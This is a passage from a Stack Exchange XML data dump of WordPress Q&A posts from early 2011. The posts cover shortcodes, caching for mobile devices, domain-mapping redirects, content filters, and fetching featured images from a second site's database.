?&amp;gt;&amp;lt;/small&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end of license --&amp;gt;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- clear div --&amp;gt;&#xA;&amp;lt;?php }&#xA;    return;&#xA;}&#xA;add_shortcode('cc1', 'creativecommons');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm missing something here or something else have to do with my problem?&lt;br&gt;&#xA;Thanks a lot,&lt;br&gt;&#xA;Philip&lt;/p&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditorDisplayName="" LastEditDate="2011-01-01T08:58:43.857" LastActivityDate="2011-01-02T15:07:11.283" Title="What is wrong with this Shortcode? I get it in a wrong place inside the content" Tags="&lt;functions&gt;&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="6188" PostTypeId="2" ParentId="6187" CreationDate="2011-01-01T00:22:25.140" Score="2" ViewCount="" Body="&lt;p&gt;Couple things: I think your shortcode function should return the value rather than print it, and you shouldn't have the output wrapped in braces like that (the one just before the first div, and the one just before the return). Unless that's some obscure php syntax I've never seen (which is entirely possible)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, whenever you close a php tag--even inside a function--the parser will just immediately output the results, not return them.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-01T00:22:25.140" CommentCount="3" />
  <row Id="6189" PostTypeId="2" ParentId="6185" CreationDate="2011-01-01T00:34:45.160" Score="2" ViewCount="" Body="&lt;p&gt;There's a similar concept for plugins called shortcodes (as andrewk said). The syntax for these is slightly different than the more tag (which does look a lot like an html comment). Shortcodes are wrapped in square braces like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[myshortcode arg1=&quot;something&quot; arg2=&quot;something else&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shortocde is the term for the technique, but plugins that implement shortcodes don't have any special name or anything. They're just plugins that use the shortcodes API. Similarly, plugins that use the widget API (or any other WP functionality) don't have special names. They're all just plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, there is no built-in API for implementing &quot;html comment-style&quot; tags like the more tag. And I don't think the technique is in popular use by plugin developers since the shortcode API became available. At least, I don't see it very often.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-01T00:34:45.160" />
  <row Id="6190" PostTypeId="1" AcceptedAnswerId="6208" CreationDate="2011-01-01T02:45:54.643" Score="2" ViewCount="587" Body="&lt;p&gt;I have two WordPress installations, one at &lt;a href=&quot;http://inversekarma.in&quot; rel=&quot;nofollow&quot;&gt;http://inversekarma.in&lt;/a&gt; and the other at &lt;a href=&quot;http://inversekarma.in/photos&quot; rel=&quot;nofollow&quot;&gt;http://inversekarma.in/photos&lt;/a&gt;. The latter is a photoblog, and its theme uses the standard WP post thumbnails (&lt;strong&gt;EDIT:&lt;/strong&gt; featured images, to be precise!). Is there a way to show the most recent thumbnails from the second site on my first site's sidebar?&lt;/p&gt;&#xA;" OwnerUserId="1606" LastEditorUserId="1606" LastEditorDisplayName="" LastEditDate="2011-01-09T17:07:28.770" LastActivityDate="2011-01-13T12:18:55.417" Title="Getting post-thumbnails from another WP site" Tags="&lt;sidebar&gt;&lt;widgets&gt;&lt;posts&gt;&lt;image&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="6191" PostTypeId="2" ParentId="2171" CreationDate="2011-01-01T03:47:34.717" Score="0" ViewCount="" Body="&lt;p&gt;Implementing &lt;strong&gt;SSL&lt;/strong&gt; in WAMP, I found more troublesome (Finally could not handle it and gave up) where as it was extremely easy in XAMPP. Rest I suppose there is no difference as I use both a &lt;strong&gt;&lt;em&gt;Lin&lt;/em&gt;&lt;/strong&gt; an a &lt;strong&gt;&lt;em&gt;Win&lt;/em&gt;&lt;/strong&gt; Platform and comfortable. Ofcourse I have been using XAMPP for a much longer period of time.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-01T03:47:34.717" />
  <row Id="6192" PostTypeId="1" AcceptedAnswerId="6196" CreationDate="2011-01-01T03:59:06.440" Score="1" ViewCount="534" Body="&lt;p&gt;When I'm logged out, everything works fine. When I'm logged in, I'm unable to visit the front-end of my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main page is actually located in a sub-folder of my multisite installation: &lt;a href=&quot;http://beta.eamann.com/mindshare/&quot; rel=&quot;nofollow&quot;&gt;http://beta.eamann.com/mindshare/&lt;/a&gt;. I'm mapping a domain to this installation: &lt;a href=&quot;http://mindsharestrategy.com/&quot; rel=&quot;nofollow&quot;&gt;http://mindsharestrategy.com/&lt;/a&gt;. When I'm logged in, the front-end of my site keeps bouncing back and forth between these two domains. I can still get to the admin side just fine ... but not the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I log out, I can view the front-end of things just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the development version of the plug-in, as I was instructed to do by several conversations with the developers. Ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also note that the other sites on this network are not having this issue. They are working properly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eamann.com&quot; rel=&quot;nofollow&quot;&gt;http://eamann.com&lt;/a&gt; -&gt; &lt;a href=&quot;http://beta.eamann.com/portfolio/&quot; rel=&quot;nofollow&quot;&gt;http://beta.eamann.com/portfolio/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://prosepainting.com&quot; rel=&quot;nofollow&quot;&gt;http://prosepainting.com&lt;/a&gt; -&gt; &lt;a href=&quot;http://beta.eamann.com/creative/&quot; rel=&quot;nofollow&quot;&gt;http://beta.eamann.com/creative/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is no infinite redirect loop here. What can I check to fix the problem?&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-01T12:58:23.520" Title="Infinite loop problem with the WordPress MU Domain Mapping plug-in" Tags="&lt;multisite&gt;&lt;plugins&gt;&lt;domain-mapping&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6193" PostTypeId="2" ParentId="6183" CreationDate="2011-01-01T10:32:41.260" Score="4" ViewCount="" Body="&lt;p&gt;Non-hierarchical taxonomies (like tags) use &lt;code&gt;tagsdiv-{$tax_name}&lt;/code&gt;. Hierarchical taxonomies (like categories) use &lt;code&gt;{$tax_name}div&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for historical reasons: categories were placed in &lt;code&gt;categorydiv&lt;/code&gt;, tags in &lt;code&gt;tagsdiv&lt;/code&gt;. &lt;a href=&quot;http://core.trac.wordpress.org/changeset/10222/trunk/wp-admin/edit-form-advanced.php&quot; rel=&quot;nofollow&quot;&gt;When support for multiple non-hierarchical taxonomies was added&lt;/a&gt;, the &lt;code&gt;tagsdiv&lt;/code&gt; name was expanded to &lt;code&gt;tagsdiv-{$tax_name}&lt;/code&gt;. &lt;a href=&quot;http://core.trac.wordpress.org/changeset/12798/trunk/wp-admin/edit-form-advanced.php&quot; rel=&quot;nofollow&quot;&gt;When finally multiple hierarchical taxonomies were made possible&lt;/a&gt;, they choose to generalize &lt;code&gt;categorydiv&lt;/code&gt; to &lt;code&gt;{$tax_name}div&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-01T10:32:41.260" CommentCount="3" />
  <row Id="6194" PostTypeId="1" AcceptedAnswerId="6195" CreationDate="2011-01-01T11:10:15.433" Score="1" ViewCount="118" Body="&lt;p&gt;I'm using the WP Super Cache plugin and inside my theme I have code that executes differently if the site is viewed on a mobile device (iOS, Android) than a desktop browser.  How do make WP Super Cache create a separate cache for each, most likely via the user agent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I have use mod_rewrite to serve cache, which I believe WP Super Cache will cache the pages as html files to be served. Since the cache is saved from the desktop browser, the mobile browser is seeing that as well.  I'd like WP Super Cache to generate two separate caches, one of mobile devices and another for desktop browser.  Is this something WP Super Cache can handle or is there a better cache plugin I should be using to make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2011-01-01T11:27:01.337" Title="WP Super Cache separate cache for mobile" Tags="&lt;3.0&gt;&lt;cache&gt;&lt;mobile&gt;" AnswerCount="1" />
  <row Id="6195" PostTypeId="2" ParentId="6194" CreationDate="2011-01-01T11:27:01.337" Score="1" ViewCount="" Body="&lt;p&gt;There are several ways to handle mobile devices and doing it inside of single theme is builky and hard to maintain (as for me at least). More commonly this seems to be accomplished with separate templates or separate mobile-specific theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know about WP Super Cache specifics because I hadn't used it extensively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin I currently use is &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt;. It allows you to create groups of user agents strings, for which visitors can be redirected to another theme or domain and (as I understand from description of settings) will have separate versions of cached pages.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-01T11:27:01.337" CommentCount="2" />
  <row Id="6196" PostTypeId="2" ParentId="6192" CreationDate="2011-01-01T12:51:14.587" Score="1" ViewCount="" Body="&lt;p&gt;this is not a full answer but probably of use to gain more information about your problem. I guess it's related to cookies but that is really a guess only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out more I suggest a combination of two tools: One Firefox and a wordpress Add-On.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;No Redirect Toolpress Strict Edition (Firefox Add-On)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On &lt;a href=&quot;http://toolpress.de/&quot; rel=&quot;nofollow&quot;&gt;Toolpress&lt;/a&gt; in the &lt;a href=&quot;http://toolpress.de/tools/&quot; rel=&quot;nofollow&quot;&gt;tools folder&lt;/a&gt;, you can find a Firefox Add-On that is tracking &lt;em&gt;every&lt;/em&gt; redirect and can prevent automatic redirection on those. It's called &lt;a href=&quot;http://toolpress.de/tools/noredirect-1.2.4-fx+sm+toolpress-strict-edition.xpi.html&quot; rel=&quot;nofollow&quot;&gt;NoRedirect 1.2.4 Toolpress Strict Edition (Firefox Add-On)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install it, restart Firefox. Then go to Menu: Tools -&gt; NoRedirect which opens the configuration dialog. Enter a URL pattern like &lt;code&gt;^http://.*&lt;/code&gt; and *un*check the &lt;em&gt;Allow&lt;/em&gt; checkbox:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/V7tmB.png&quot; alt=&quot;NoRedirct settings dialog&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will now get a notification prior to any redirect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/64U7O.png&quot; alt=&quot;NoRedirect notification example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can click the link in the grey area. The website you see is the redirect body which is generated (here by stackexchange).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress by default does not return and HTTP Body for redirects which is getting the HTTP specs wrong as HTTP clients do not need to redirect automatically.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Better HTTP Redirects (Wordpress Plugin)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Next to that grab my &lt;a href=&quot;http://hakre.wordpress.com/plugins/better-http-redirects/&quot; rel=&quot;nofollow&quot;&gt;Better HTTP Redirects Plugin&lt;/a&gt;. It &lt;a href=&quot;http://hakre.wordpress.com/2010/06/25/better-http-redirects-1-0-released/&quot; rel=&quot;nofollow&quot;&gt;deals with the wordpress core defect and returns a HTTP body for each redirect&lt;/a&gt;. There is a hook available called &lt;code&gt;redirect_hypertext&lt;/code&gt; in which you can hook into (or just hack this plugin which is must-use compatible as well) and &lt;a href=&quot;http://php.net/manual/en/function.debug-print-backtrace.php&quot; rel=&quot;nofollow&quot;&gt;output the backtrace&lt;/a&gt; that caused the redirect (hint: &lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;xdebug&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Power of the two:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The firefox plugin will ensure that you're not getting redirected without confirmation and the wordpress plugin will taking care to display debug information. &lt;a href=&quot;http://blog.sjinks.pro/wordpress/plugins/642-sj-hook-profiler/&quot; rel=&quot;nofollow&quot;&gt;This hooktracer tool (SJ Hook Profiler)&lt;/a&gt; might be of use as well but I have not used it so far.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-01T12:58:23.520" LastActivityDate="2011-01-01T12:58:23.520" CommentCount="5" />
  <row Id="6197" PostTypeId="2" ParentId="6178" CreationDate="2011-01-01T13:01:29.103" Score="1" ViewCount="" Body="&lt;p&gt;Well, no need to reinvent the wheel: &lt;a href=&quot;http://www.semiologic.com/software/external-links/&quot; rel=&quot;nofollow&quot;&gt;External Links Plugin For WordPress&lt;/a&gt;, I can really recommend it.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-01T13:01:29.103" />
  <row Id="6198" PostTypeId="2" ParentId="6153" CreationDate="2011-01-01T17:08:58.567" Score="2" ViewCount="" Body="&lt;p&gt;This will retrieve the posts of current author when used in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put the following in your theme functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_get_display_author_posts() {&#xA;    global $authordata, $post;&#xA;&#xA;    $authors_posts = get_posts( array( 'author' =&amp;gt; $authordata-&amp;gt;ID, 'post__not_in' =&amp;gt; array( $post-&amp;gt;ID ) ) );&#xA;&#xA;    $output = '&amp;lt;ul&amp;gt;';&#xA;    foreach ( $authors_posts as $authors_post ) {&#xA;        $output .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_permalink( $authors_post-&amp;gt;ID ) . '&quot;&amp;gt;' . apply_filters( 'the_title', $authors_post-&amp;gt;post_title, $authors_post-&amp;gt;ID ) . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    $output .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add &lt;code&gt;echo my_get_display_author_posts();&lt;/code&gt; in your template file, within the loop where you want the posts displayed.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2011-01-01T17:08:58.567" CommentCount="3" />
  <row Id="6199" PostTypeId="2" ParentId="6187" CreationDate="2011-01-01T18:55:12.693" Score="1" ViewCount="" Body="&lt;p&gt;The only thing wrong with the braces in the function definition is that the closing brace is the same as the opening brace. The return statement is out of place.  It should be within the function definition braces, and should look something like this (from W3 Schools):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add($x,$y)&#xA;{&#xA;    $total=$x+$y;&#xA;    return $total;&#xA;}&#xA;&#xA;echo &quot;1 + 16 = &quot; . add(1,16);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure what value you want returned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, the previous comment is correct.  You cannot echo the values of variables defined in the function outside that function.  I believe that variables defined in a function are local to that function.  That is where the return statement comes into play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, you want to return multiple values from your function.  Since a function cannot return more than one value, you can do this with an array. You can then retrieve your values outside the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See following example I picked up on the web. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function small_numbers()&#xA;{&#xA;    return array (0, 1, 2);&#xA;}&#xA;&#xA;list ($zero, $one, $two) = small_numbers();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2242" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-02T15:07:11.283" LastActivityDate="2011-01-02T15:07:11.283" />
  <row Id="6200" PostTypeId="2" ParentId="6168" CreationDate="2011-01-01T19:07:47.397" Score="1" ViewCount="" Body="&lt;p&gt;In the wp-config.php file, try replacing the (localhost) with the IP address you shared above&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-01-01T19:07:47.397" CommentCount="0" />
  <row Id="6201" PostTypeId="1" AcceptedAnswerId="6203" CreationDate="2011-01-01T19:11:58.703" Score="-1" ViewCount="192" Body="&lt;p&gt;Is there any way to use &lt;code&gt;str_replace()&lt;/code&gt; in Wordpress outside the loop?&#xA;I want to change my html markup which starts before the loop.&#xA;I need something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function content_magic($content) {&#xA;        str_replace('&amp;lt;div id=&quot;content&quot;&amp;gt;','&amp;lt;div id=&quot;new_content&quot;&amp;gt;',$content);&#xA;        return $content;&#xA;    }&#xA;add_filter('the_content','content_magic');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this works only for markup within the loop. Please help me!&lt;/p&gt;&#xA;" OwnerUserId="1752" LastActivityDate="2011-01-01T22:56:24.450" Title="How to use str_replace() outside the loop?" Tags="&lt;content&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="6202" PostTypeId="2" ParentId="6168" CreationDate="2011-01-01T19:23:16.687" Score="1" ViewCount="" Body="&lt;p&gt;I believe Rarst is right.  It sounds like you need to configure the wp-config.php file for the new database.  Just go to the cpanel or other control panel of your hosting service, and use the address they use for the host address.  If the database is on the same server as the web site, localhost is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how you moved you website.  I assume that it is a WordPress site, and it is not difficult to move.  When I did this, I made a new installation of WordPress on the new hosting service.  This included installing WordPress with a new database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I went to the old site WordPress dashboard, found the Export menu, and saved the resulting XML file.  This file contains all the database info for your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the new site, I simply went to the new site dashboard Import menu and imported the file from the old site.  The new database system then had the correct data from the old site.  There were a few issues on the new site, mainly dealing with cosmetic things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a matter of fact we should all keep a current backup of our WordPress database, and there is a plugin for that.&lt;/p&gt;&#xA;" OwnerUserId="2242" LastActivityDate="2011-01-01T19:23:16.687" />
  <row Id="6203" PostTypeId="2" ParentId="6201" CreationDate="2011-01-01T19:55:50.713" Score="0" ViewCount="" Body="&lt;p&gt;Filters don't really affect resulting markup. More precisely they affect anything that is passed through them, in this specific case output of &lt;code&gt;the_content()&lt;/code&gt; function is passed through &lt;code&gt;the_content&lt;/code&gt; filter and you are able to modify it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If markup you want to change is not generated by function and not passed through filter then most likely you will need to edit &lt;a href=&quot;http://codex.wordpress.org/Templates&quot; rel=&quot;nofollow&quot;&gt;theme's template file&lt;/a&gt; that markup belongs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also good practice to create and use &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;child theme&lt;/a&gt; to  retain compatibility with theme updates and such if you are going to edit template.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-01T19:55:50.713" CommentCount="1" />
  <row Id="6204" PostTypeId="1" CreationDate="2011-01-01T20:28:53.140" Score="0" ViewCount="75" Body="&lt;p&gt;I require users to register in order to post comments on www.bbleaks.com However, using this feature in wordpress causes the comments to be hidden if you aren't logged in. How can I show the comments even if you aren't logged in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2011-06-14T04:14:26.667" Title="Show comments to unregistered users" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6205" PostTypeId="2" ParentId="6201" CreationDate="2011-01-01T20:35:56.340" Score="3" ViewCount="" Body="&lt;p&gt;Also, from a purely PHP point of view, the function str_replace returns a new string, and should be assigned to a different string variable.  The examples are like below.  See the PHP manual.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function content_magic($content) {&#xA;    $new_content = str_replace('&amp;lt;div id=&quot;content&quot;&amp;gt;','&amp;lt;div id=&quot;new_content&quot;&amp;gt;',$content);&#xA;    return $new_content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently, the str_replace function does not alter the original string.  &lt;/p&gt;&#xA;" OwnerUserId="2242" LastEditorUserId="2242" LastEditorDisplayName="" LastEditDate="2011-01-01T22:56:24.450" LastActivityDate="2011-01-01T22:56:24.450" CommentCount="2" />
  <row Id="6206" PostTypeId="2" ParentId="6159" CreationDate="2011-01-01T20:42:09.787" Score="0" ViewCount="" Body="&lt;p&gt;As an update. content_save_pre does process &amp;lt;!--nextpage--&amp;gt;  i had the &amp;lt;!--nextpage--&amp;gt; tag inside the shortcode function, once i moved them outside, all was good.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2011-01-01T20:42:09.787" />
  <row Id="6207" PostTypeId="1" CreationDate="2011-01-01T20:53:51.957" Score="0" ViewCount="416" Body="&lt;p&gt;i have this line..  in sidebar..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts ( ( array('orderby' =&amp;gt; 'rand', 'showposts' =&amp;gt; 12)));?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i want to order by category not random.. &#xA;so if i am in a post from category animals.. i want to show 12 post just from this category. &#xA;Not Random like now..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i do that?&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-02T06:00:45.337" LastActivityDate="2011-02-02T06:00:45.337" Title="query order by category" Tags="&lt;categories&gt;&lt;query-posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6208" PostTypeId="2" ParentId="6190" CreationDate="2011-01-01T20:54:14.070" Score="6" ViewCount="" Body="&lt;p&gt;There are (at least) &lt;strong&gt;two (2) ways&lt;/strong&gt; to approach this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can &lt;strong&gt;query the second database&lt;/strong&gt; which will require you to maintain the database credentials in two places, or at least in an include file, or &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could &lt;strong&gt;create a simple JSON feed&lt;/strong&gt; for your photo blog and consume the feed on your main blog and cache it for a short time. This will cause a slight latency on page load when the cache expires but since both are on the same machine it shouldn't be an issue.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Let me know which you'd prefer and if I'll update the answer to so you how.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To connect to another database you can read more about it here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1604/&quot;&gt;&lt;strong&gt;Using wpdb to connect to a separate database&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So here's what I hacked together for you, a function called &lt;code&gt;show_thumbnails_2nd_db()&lt;/code&gt; which you can copy into your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function show_thumbnails_2nd_db() {&#xA;  global $wpdb;&#xA;  global $table_prefix;&#xA;  $save_wpdb = $wpdb;&#xA;  $save_prefix = $table_prefix;&#xA;  include_once(ABSPATH . '/photos/database-credentials.php');&#xA;  extract($database_credentials);&#xA;  $wpdb = new wpdb($DB_USER, $DB_PASSWORD, $DB_NAME, $DB_HOST);&#xA;  wp_set_wpdb_vars();&#xA;&#xA;  // This is the code for featured images  &#xA;  $sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT DISTINCT CONCAT('&amp;lt;img src=&quot;',attachment.guid,'&quot;/&amp;gt;') AS url&#xA;FROM &#xA;  {$wpdb-&amp;gt;posts} attachment&#xA;  INNER JOIN {$wpdb-&amp;gt;postmeta} ON attachment.ID={$wpdb-&amp;gt;postmeta}.meta_value AND {$wpdb-&amp;gt;postmeta}.meta_key='_thumbnail_id'&#xA;  INNER JOIN {$wpdb-&amp;gt;posts} ON {$wpdb-&amp;gt;posts}.ID={$wpdb-&amp;gt;postmeta}.post_id&#xA;WHERE {$wpdb-&amp;gt;posts}.post_status='publish'&#xA;  AND attachment.post_type='attachment'&#xA;ORDER BY attachment.ID DESC&#xA;LIMIT 10&#xA;SQL;&#xA;  $post_urls = $wpdb-&amp;gt;get_col($sql);&#xA;  if (is_array($post_urls))&#xA;    echo implode(&quot;\n&quot;,$post_urls);&#xA;&#xA;// This is the code for post thumbnails  &#xA;//   $sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;// SELECT DISTINCT {$wpdb-&amp;gt;posts}.ID&#xA;// FROM {$wpdb-&amp;gt;posts}&#xA;// INNER JOIN {$wpdb-&amp;gt;posts} attachment&#xA;//    ON {$wpdb-&amp;gt;posts}.ID=attachment.post_parent&#xA;// WHERE {$wpdb-&amp;gt;posts}.post_status='publish'&#xA;//   AND attachment.post_type='attachment'&#xA;// ORDER BY attachment.ID&#xA;// LIMIT 10&#xA;// SQL;&#xA;//   $post_ids = $wpdb-&amp;gt;get_col($sql);&#xA;//   foreach($post_ids as $post_id) {&#xA;//     $thumbnail = get_the_post_thumbnail($post_id);&#xA;//     if ($thumbnail) {&#xA;//       echo $thumbnail;&#xA;//     }&#xA;//   }&#xA;  $table_prefix = $save_prefix;&#xA;  $wpdb = $save_wpdb;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; That the above assumes you have created a &lt;code&gt;database-credentials.php&lt;/code&gt; in the root of your photos blog, and it should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;$database_credentials = array(&#xA;  'DB_NAME' =&amp;gt;  'your_database',&#xA;  'DB_USER' =&amp;gt;  'your_db_user',&#xA;  'DB_PASSWORD' =&amp;gt;  'your db password',&#xA;  'DB_HOST' =&amp;gt;  'localhost',&#xA;  'table_prefix' =&amp;gt; 'your_photos_db_prefix_',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then &lt;strong&gt;inside the &lt;code&gt;/wp-config.php&lt;/code&gt; for your &lt;em&gt;photos&lt;/em&gt; blog&lt;/strong&gt; you would replace the sections of code that look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ** MySQL settings - You can get this info from your web host ** //&#xA;/** The name of the database for WordPress */&#xA;define('DB_NAME', 'your_database');&#xA;&#xA;/** MySQL database username */&#xA;define('DB_USER', 'your_db_user');&#xA;&#xA;/** MySQL database password */&#xA;define('DB_PASSWORD', 'your db password');&#xA;&#xA;/** MySQL hostname */&#xA;define('DB_HOST', 'localhost');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table_prefix  = 'wp_';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include_once(ABSPATH . '/database-credentials.php');&#xA;&#xA;// ** MySQL settings - You can get this info from your web host ** //&#xA;/** The name of the database for WordPress */&#xA;define('DB_NAME', $database_credentials['DB_NAME']);&#xA;&#xA;/** MySQL database username */&#xA;define('DB_USER', $database_credentials['DB_USER']);&#xA;&#xA;/** MySQL database password */&#xA;define('DB_PASSWORD', $database_credentials['DB_PASSWORD']);&#xA;&#xA;/** MySQL hostname */&#xA;define('DB_HOST', $database_credentials['DB_HOST']);&#xA;&#xA;$table_prefix  = $database_credentials['table_prefix'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need more explanation just ask in the comments.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-10T16:56:26.713" LastActivityDate="2011-01-10T16:56:26.713" CommentCount="27" />
